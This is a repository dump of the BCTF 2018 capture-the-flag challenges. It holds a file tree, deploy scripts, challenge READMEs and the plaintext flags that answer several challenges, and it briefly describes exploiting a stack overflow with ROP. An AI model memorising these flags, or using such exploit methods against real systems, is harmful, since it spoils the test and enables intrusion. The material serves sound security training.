├── crypto ├── guess_number │ ├── src │ ├── deploy │ │ ├── src │ │ │ ├── flag.py │ │ │ ├── flag.pyc │ │ │ └── main.py │ │ ├── start.sh │ │ └── Dockerfile │ ├── wp │ │ ├── exp.py │ │ ├── exp.sage │ │ ├── exp.sage.py │ │ └── data │ └── readme.md ├── guess_polynomial │ ├── src │ ├── deploy │ │ ├── src │ │ │ ├── flag.py │ │ │ ├── flag.pyc │ │ │ └── main.py │ │ ├── start.sh │ │ └── Dockerfile │ ├── readme.md │ └── wp │ │ └── exp.py └── README.md ├── misc ├── README.md └── easysandbox │ ├── deploy │ ├── bin │ │ ├── flag │ │ ├── scf.so │ │ ├── libc.so.6 │ │ └── server.py │ ├── build.sh │ ├── start.sh │ ├── ctf.xinetd │ ├── Dockerfile │ └── README.md │ ├── solution │ ├── solve │ ├── fakesolve │ ├── solve.c │ └── exp.py │ ├── attachment │ ├── scf.so │ └── server.py │ └── src │ ├── config.h │ ├── server.py │ ├── syscallfilter.c │ └── seccomp-bpf.h ├── pwn ├── README.md ├── houseofAtum │ ├── flag │ ├── source │ │ ├── Makefile │ │ ├── houseofAtum │ │ ├── libc.so.6 │ │ └── houseofAtum.c │ ├── exploit │ │ ├── libc.so.6 │ │ └── houseofAtum.py │ ├── attachment │ │ ├── libc.so.6 │ │ └── houseofAtum │ └── README.md ├── three │ ├── exploit │ │ ├── peda-session-dash.txt │ │ ├── .gdb_history │ │ ├── peda-session-three.txt │ │ ├── core │ │ ├── three │ │ ├── libc.so.6 │ │ └── three.py │ ├── source │ │ ├── Makefile │ │ ├── three │ │ ├── libc.so.6 │ │ └── heapme.c │ ├── attachment │ │ ├── three │ │ └── libc.so.6 │ └── README.md ├── easywasm │ ├── deploy │ │ ├── bin │ │ │ ├── flag │ │ │ ├── easywasm.wasm │ │ │ └── index.js │ │ ├── build.sh │ │ ├── start.sh │ │ ├── ctf.xinetd │ │ ├── README.md │ │ └── Dockerfile │ ├── attachment │ │ ├── easywasm.wasm │ │ └── index.js │ ├── solve │ │ └── exploit.py │ └── src │ │ ├── easywasm.c │ │ └── index.js └── SOS │ ├── SOS │ └── README.md ├── reverse ├── README.md ├── easypt2 │ ├── src │ │ ├── flag │ │ └── easypt2.c │ └── attachment │ │ ├── output_of_rdmsr_0xce │ │ ├── pt2 │ │ ├── capture │ │ ├── perf.header │ │ ├── perf.packet │ │ └── perf.sideband └── easypt │ ├── src │ ├── flag │ └── pt.c │ └── attachment │ ├── pt │ ├── capture │ ├── header │ ├── packet │ └── sideband ├── web ├── README.md └── Seafaring │ ├── dockers │ ├── checker │ │ ├── ghostdriver.log │ │ ├── getmd5.py │ │ ├── checker.log │ │ ├── findpremd5.py │ │ └── checker.py │ ├── www │ │ ├── less │ │ │ ├── mixins.less │ │ │ └── variables.less │ │ ├── .htaccess │ │ ├── robots.txt │ │ ├── images │ │ │ ├── 1.jpg │ │ │ ├── 1.png │ │ │ ├── 10.jpg │ │ │ ├── 11.jpg │ │ │ ├── 12.jpg │ │ │ ├── 13.jpg │ │ │ ├── 14.jpg │ │ │ ├── 15.jpg │ │ │ ├── 16.jpg │ │ │ ├── 17.jpg │ │ │ ├── 2.jpg │ │ │ ├── 2.png │ │ │ ├── 3.jpg │ │ │ ├── 3.png │ │ │ ├── 4.jpg │ │ │ ├── 4.png │ │ │ ├── 5.jpg │ │ │ ├── 5.png │ │ │ ├── 6.jpg │ │ │ ├── 7.jpg │ │ │ ├── 8.jpg │ │ │ ├── 9.jpg │ │ │ ├── co.png │ │ │ ├── left.png │ │ │ ├── banner.jpg │ │ │ ├── banner1.jpg │ │ │ ├── close.png │ │ │ ├── img-sp.png │ │ │ └── right.png │ │ ├── admin │ │ │ ├── logout.php │ │ │ ├── footer.php │ │ │ ├── m0st_Secret.php │ │ │ ├── handle_message.php │ │ │ ├── index.php │ │ │ └── header.php │ │ ├── Wopop_files │ │ │ ├── logo.png │ │ │ ├── okgreen.png │ │ │ ├── site_bg.png │ │ │ ├── askgreen.png │ │ │ ├── errorred.png │ │ │ ├── loading1.gif │ │ │ ├── loadingpn.gif │ │ │ ├── login_bgx.gif │ │ │ ├── login_m_bg.png │ │ │ ├── jquery.ui.all.css │ │ │ ├── JQuery.cookie.js │ │ │ ├── login.js │ │ │ ├── jquery.pagination.js │ │ │ └── pagination.css │ │ ├── config.php │ │ ├── footer.php │ │ ├── js │ │ │ └── sb-admin-2.js │ │ ├── css │ │ │ ├── chocolat.css │ │ │ └── flexslider.css │ │ ├── data │ │ │ └── morris-data.js │ │ ├── header.php │ │ ├── register.php │ │ ├── about.php │ │ ├── login.php │ │ ├── index.php │ │ ├── contact.php │ │ └── services.php │ ├── selenium │ │ ├── Th3_MosT_S3cR3T_fLag │ │ ├── run.sh │ │ └── clean_session.py │ ├── start_docker.sh │ ├── docker-compose.yml │ └── docker_files │ │ ├── start.sh │ │ ├── backup.sh │ │ └── bctf2018.sql │ └── .DS_Store ├── blockchain ├── README.md ├── Fake3D │ ├── README.md │ ├── src │ │ ├── WinnerList.sol │ │ └── Fake3D.sol │ └── wp │ │ └── Fake3D-exp.sol └── EOSGame │ ├── README.md │ ├── wp │ └── EOSGame-exp.sol │ └── src │ └── EOSGame.sol └── README.md /crypto/guess_number/src: -------------------------------------------------------------------------------- 1 | deploy/src -------------------------------------------------------------------------------- /crypto/guess_polynomial/src: -------------------------------------------------------------------------------- 1 | deploy/src -------------------------------------------------------------------------------- /misc/README.md: -------------------------------------------------------------------------------- 1 | # BCTF 2018 - Misc Challenge 2 | -------------------------------------------------------------------------------- /pwn/README.md: -------------------------------------------------------------------------------- 1 | # BCTF 2018 - Pwn Challenge 2 | -------------------------------------------------------------------------------- /reverse/README.md: -------------------------------------------------------------------------------- 1 | # BCTF 2018 - RE Challenge 2 | -------------------------------------------------------------------------------- /web/README.md: -------------------------------------------------------------------------------- 1 | # BCTF 2018 - Web Challenge 2 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/checker/ghostdriver.log: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /crypto/README.md: -------------------------------------------------------------------------------- 1 | # BCTF 2018 - Crypto Challenge 2 | -------------------------------------------------------------------------------- /pwn/houseofAtum/flag: -------------------------------------------------------------------------------- 1 | BCTF{A7um_IS_r34lly_GreaT} 2 | -------------------------------------------------------------------------------- /pwn/three/exploit/peda-session-dash.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /blockchain/README.md: -------------------------------------------------------------------------------- 1 | # BCTF 2018 - Blockchain Challenge -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/less/mixins.less: -------------------------------------------------------------------------------- 1 | // Mixins 2 | -------------------------------------------------------------------------------- /pwn/three/exploit/.gdb_history: -------------------------------------------------------------------------------- 1 | q 2 | q 3 | q 4 | q 5 | q 6 | -------------------------------------------------------------------------------- /reverse/easypt2/src/flag: -------------------------------------------------------------------------------- 1 | bctf{666081f11b78e584e8970c00df8e890f} -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/.htaccess: -------------------------------------------------------------------------------- 1 | options -Indexes 2 | 3 | -------------------------------------------------------------------------------- /reverse/easypt/src/flag: -------------------------------------------------------------------------------- 1 | bctf{19c512c582879daf358404a9748cfdbb} 2 | -------------------------------------------------------------------------------- /reverse/easypt2/attachment/output_of_rdmsr_0xce: -------------------------------------------------------------------------------- 1 | 204043bf1011600 2 | -------------------------------------------------------------------------------- /pwn/easywasm/deploy/bin/flag: -------------------------------------------------------------------------------- 1 | BCTF{8147415f9bdabb9e3bcc73a6b644469f} 2 | -------------------------------------------------------------------------------- /pwn/three/source/Makefile: -------------------------------------------------------------------------------- 1 | heapme:heapme.c 2 | gcc -o heapme heapme.c 3 | -------------------------------------------------------------------------------- /misc/easysandbox/deploy/bin/flag: -------------------------------------------------------------------------------- 1 | bctf{b0ce37b959498c99d251bdd4de5108a1} 2 | -------------------------------------------------------------------------------- /pwn/SOS/SOS: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/pwn/SOS/SOS -------------------------------------------------------------------------------- /pwn/houseofAtum/source/Makefile: -------------------------------------------------------------------------------- 1 | heapme:heapme.c 2 | gcc -o heapme heapme.c 3 | -------------------------------------------------------------------------------- /pwn/three/exploit/peda-session-three.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/selenium/Th3_MosT_S3cR3T_fLag: -------------------------------------------------------------------------------- 1 | bctf{S1crEt_Se1enium_he1l34} -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BCTF2018 2 | 3 | This is the resource of the BCTF2018, sorry for so late. 4 | -------------------------------------------------------------------------------- /crypto/guess_polynomial/deploy/src/flag.py: -------------------------------------------------------------------------------- 1 | FLAG = "BCTF{One_T1m3_10_Gue33_Coeff_1s_0K!}" 2 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/checker/getmd5.py: -------------------------------------------------------------------------------- 1 | from findpremd5 import * 2 | print getpremd5('B178') -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/robots.txt: -------------------------------------------------------------------------------- 1 | User-agent: * 2 | Disallow: /admin/handle_message.php -------------------------------------------------------------------------------- /crypto/guess_number/deploy/src/flag.py: -------------------------------------------------------------------------------- 1 | FLAG = "BCTF{HNP_Pr0b13m_1s_So_3asy_Every0n3_C4n_Guess_1t!}" 2 | -------------------------------------------------------------------------------- /pwn/three/exploit/core: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/pwn/three/exploit/core -------------------------------------------------------------------------------- /pwn/three/exploit/three: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/pwn/three/exploit/three -------------------------------------------------------------------------------- /pwn/three/source/three: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/pwn/three/source/three -------------------------------------------------------------------------------- /web/Seafaring/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/.DS_Store -------------------------------------------------------------------------------- /pwn/easywasm/deploy/build.sh: -------------------------------------------------------------------------------- 1 | docker build -t wasm . 2 | docker run -p "0.0.0.0:23333:23333" -d -t wasm 3 | -------------------------------------------------------------------------------- /pwn/three/attachment/three: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/pwn/three/attachment/three -------------------------------------------------------------------------------- /pwn/three/source/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/pwn/three/source/libc.so.6 -------------------------------------------------------------------------------- /pwn/three/exploit/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/pwn/three/exploit/libc.so.6 -------------------------------------------------------------------------------- /reverse/easypt/attachment/pt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/reverse/easypt/attachment/pt -------------------------------------------------------------------------------- /misc/easysandbox/deploy/build.sh: -------------------------------------------------------------------------------- 1 | docker build -t sandbox . 2 | docker run -p "0.0.0.0:23334:23334" -d -t sandbox 3 | -------------------------------------------------------------------------------- /misc/easysandbox/solution/solve: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/misc/easysandbox/solution/solve -------------------------------------------------------------------------------- /pwn/three/attachment/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/pwn/three/attachment/libc.so.6 -------------------------------------------------------------------------------- /reverse/easypt2/attachment/pt2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/reverse/easypt2/attachment/pt2 -------------------------------------------------------------------------------- /web/Seafaring/dockers/checker/checker.log: -------------------------------------------------------------------------------- 1 | sudo: unknown user: checker 2 | sudo: unable to initialize policy plugin 3 | -------------------------------------------------------------------------------- /misc/easysandbox/attachment/scf.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/misc/easysandbox/attachment/scf.so -------------------------------------------------------------------------------- /misc/easysandbox/deploy/bin/scf.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/misc/easysandbox/deploy/bin/scf.so -------------------------------------------------------------------------------- /pwn/houseofAtum/exploit/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/pwn/houseofAtum/exploit/libc.so.6 -------------------------------------------------------------------------------- /pwn/houseofAtum/source/houseofAtum: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/pwn/houseofAtum/source/houseofAtum -------------------------------------------------------------------------------- /pwn/houseofAtum/source/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/pwn/houseofAtum/source/libc.so.6 -------------------------------------------------------------------------------- /reverse/easypt/attachment/capture: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/reverse/easypt/attachment/capture -------------------------------------------------------------------------------- /reverse/easypt/attachment/header: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/reverse/easypt/attachment/header -------------------------------------------------------------------------------- /reverse/easypt/attachment/packet: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/reverse/easypt/attachment/packet -------------------------------------------------------------------------------- /reverse/easypt/attachment/sideband: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/reverse/easypt/attachment/sideband -------------------------------------------------------------------------------- /reverse/easypt2/attachment/capture: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/reverse/easypt2/attachment/capture -------------------------------------------------------------------------------- /misc/easysandbox/solution/fakesolve: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/misc/easysandbox/solution/fakesolve -------------------------------------------------------------------------------- /pwn/houseofAtum/attachment/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/pwn/houseofAtum/attachment/libc.so.6 -------------------------------------------------------------------------------- /crypto/guess_number/deploy/src/flag.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/crypto/guess_number/deploy/src/flag.pyc -------------------------------------------------------------------------------- /misc/easysandbox/deploy/bin/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/misc/easysandbox/deploy/bin/libc.so.6 -------------------------------------------------------------------------------- /pwn/easywasm/attachment/easywasm.wasm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/pwn/easywasm/attachment/easywasm.wasm -------------------------------------------------------------------------------- /pwn/easywasm/deploy/bin/easywasm.wasm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/pwn/easywasm/deploy/bin/easywasm.wasm -------------------------------------------------------------------------------- /pwn/houseofAtum/attachment/houseofAtum: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/pwn/houseofAtum/attachment/houseofAtum -------------------------------------------------------------------------------- /reverse/easypt2/attachment/perf.header: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/reverse/easypt2/attachment/perf.header -------------------------------------------------------------------------------- /reverse/easypt2/attachment/perf.packet: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/reverse/easypt2/attachment/perf.packet -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/1.jpg -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/1.png -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/10.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/10.jpg -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/11.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/11.jpg -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/12.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/12.jpg -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/13.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/13.jpg -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/14.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/14.jpg -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/15.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/15.jpg -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/16.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/16.jpg -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/17.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/17.jpg -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/2.jpg -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/2.png -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/3.jpg -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/3.png -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/4.jpg -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/4.png -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/5.jpg -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/5.png -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/6.jpg -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/7.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/7.jpg -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/8.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/8.jpg -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/9.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/9.jpg -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/co.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/co.png -------------------------------------------------------------------------------- /reverse/easypt2/attachment/perf.sideband: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/reverse/easypt2/attachment/perf.sideband -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/admin/logout.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/left.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/left.png -------------------------------------------------------------------------------- /crypto/guess_polynomial/deploy/src/flag.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/crypto/guess_polynomial/deploy/src/flag.pyc -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/banner.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/banner.jpg -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/banner1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/banner1.jpg -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/close.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/close.png -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/img-sp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/img-sp.png -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/images/right.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/images/right.png -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/Wopop_files/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/Wopop_files/logo.png -------------------------------------------------------------------------------- /misc/easysandbox/deploy/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Add your startup script 3 | 4 | # DO NOT DELETE 5 | /etc/init.d/xinetd start; 6 | sleep infinity; 7 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/Wopop_files/okgreen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/Wopop_files/okgreen.png -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/Wopop_files/site_bg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/Wopop_files/site_bg.png -------------------------------------------------------------------------------- /pwn/three/README.md: -------------------------------------------------------------------------------- 1 | ## Environment 2 | ubuntu 18.04 3 | 没有特殊的部署要求 4 | 5 | ## Description 6 | This is a baby challenge to warm you up for the harder one. 7 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/Wopop_files/askgreen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/Wopop_files/askgreen.png -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/Wopop_files/errorred.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/Wopop_files/errorred.png -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/Wopop_files/loading1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/Wopop_files/loading1.gif -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/Wopop_files/loadingpn.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/Wopop_files/loadingpn.gif -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/Wopop_files/login_bgx.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/Wopop_files/login_bgx.gif -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/Wopop_files/login_m_bg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blue-lotus/BCTF2018/HEAD/web/Seafaring/dockers/www/Wopop_files/login_m_bg.png -------------------------------------------------------------------------------- /pwn/easywasm/deploy/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Add your startup script 3 | 4 | # DO NOT DELETE 5 | /usr/sbin/chroot --userspec=1000:1000 /home/ctf node ./index.js 6 | sleep infinity; 7 | -------------------------------------------------------------------------------- /pwn/houseofAtum/README.md: -------------------------------------------------------------------------------- 1 | ## Environment 2 | ubuntu 18.04 3 | 没有特殊的部署要求 4 | 5 | ## Description 6 | Atum is Ne0's big brother. So Ne0 made this challenge to show his respect to Atum 7 | -------------------------------------------------------------------------------- /crypto/guess_number/deploy/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Add your startup script 3 | 4 | # DO NOT DELETE 5 | cd /guess_number 6 | socat TCP-LISTEN:1337,fork,reuseaddr EXEC:"timeout 200 python -u main.py" 7 | # /etc/init.d/xinetd start; 8 | # sleep infinity; 9 | -------------------------------------------------------------------------------- /crypto/guess_polynomial/deploy/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Add your startup script 3 | 4 | # DO NOT DELETE 5 | cd /guess_polynomial 6 | socat TCP-LISTEN:1337,fork,reuseaddr EXEC:"timeout 30 python -u main.py" 7 | # /etc/init.d/xinetd start; 8 | # sleep infinity; 9 | -------------------------------------------------------------------------------- /blockchain/Fake3D/README.md: -------------------------------------------------------------------------------- 1 | # BCTF 2018 - Blockchain Challenge - Fake3D 2 | 3 | Welcome to fake3D game! There are airdrops for you, but you have to pass the turning test first! Flag is cheaper here, and also sent to your email. This game is at 0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a in Ropsten network. -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/admin/footer.php: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /blockchain/EOSGame/README.md: -------------------------------------------------------------------------------- 1 | # BCTF 2018 - Blockchain Challenge - EOSGame 2 | 3 | Have you ever played eos.win? It's quite easy to get eos tokens here! Submite the base64 code of your email address to the CaptureTheFlag(string b64email) fucntion when you have enough EOS. This contract is at 0x804d8B0f43C57b5Ba940c1d1132d03f1da83631F in Ropsten network. -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/config.php: -------------------------------------------------------------------------------- 1 | error. ':' .$dbc->errno); 11 | } 12 | //根目录 13 | $basedir = ''; 14 | 15 | ?> 16 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/Wopop_files/jquery.ui.all.css: -------------------------------------------------------------------------------- 1 | /* 2 | * jQuery UI CSS Framework 1.8.11 3 | * 4 | * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) 5 | * Dual licensed under the MIT or GPL Version 2 licenses. 6 | * http://jquery.org/license 7 | * 8 | * http://docs.jquery.com/UI/Theming 9 | */ 10 | @import "jquery.ui.base.css"; 11 | @import "jquery.ui.theme.css"; 12 | -------------------------------------------------------------------------------- /pwn/SOS/README.md: -------------------------------------------------------------------------------- 1 | # String on the Stack - BCTF 2018 2 | 3 | ## Vulnerability 4 | 5 | An overflow when inputing the string. When size < 16, the string object would use its remaining space as buffer, thus it causes overflow on the stack. 6 | 7 | ## Exploit 8 | 9 | To stop the input process, we can read until the stack boundary and `read` would return 0. Then we process the regular ROP attack. 10 | -------------------------------------------------------------------------------- /misc/easysandbox/deploy/ctf.xinetd: -------------------------------------------------------------------------------- 1 | # replace helloworld to your program 2 | service ctf 3 | { 4 | disable = no 5 | socket_type = stream 6 | protocol = tcp 7 | wait = no 8 | user = root 9 | bind = 0.0.0.0 10 | server = /usr/bin/python 11 | server_args = /home/ctf/server.py 12 | type = UNLISTED 13 | port = 23334 14 | } 15 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/less/variables.less: -------------------------------------------------------------------------------- 1 | // Variables 2 | 3 | @gray-darker: lighten(#000, 13.5%); 4 | @gray-dark: lighten(#000, 20%); 5 | @gray: lighten(#000, 33.5%); 6 | @gray-light: lighten(#000, 60%); 7 | @gray-lighter: lighten(#000, 93.5%); 8 | @gray-lightest: lighten(#000, 97.25%); 9 | @brand-primary: #428bca; 10 | @brand-success: #5cb85c; 11 | @brand-info: #5bc0de; 12 | @brand-warning: #f0ad4e; 13 | @brand-danger: #d9534f; 14 | 15 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/selenium/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo 'Move files...' 3 | sudo mv /tmp/selenium/Th3_MosT_S3cR3T_fLag /Th3_MosT_S3cR3T_fLag 4 | 5 | echo 'Check authority...' 6 | sudo chown seluser:seluser 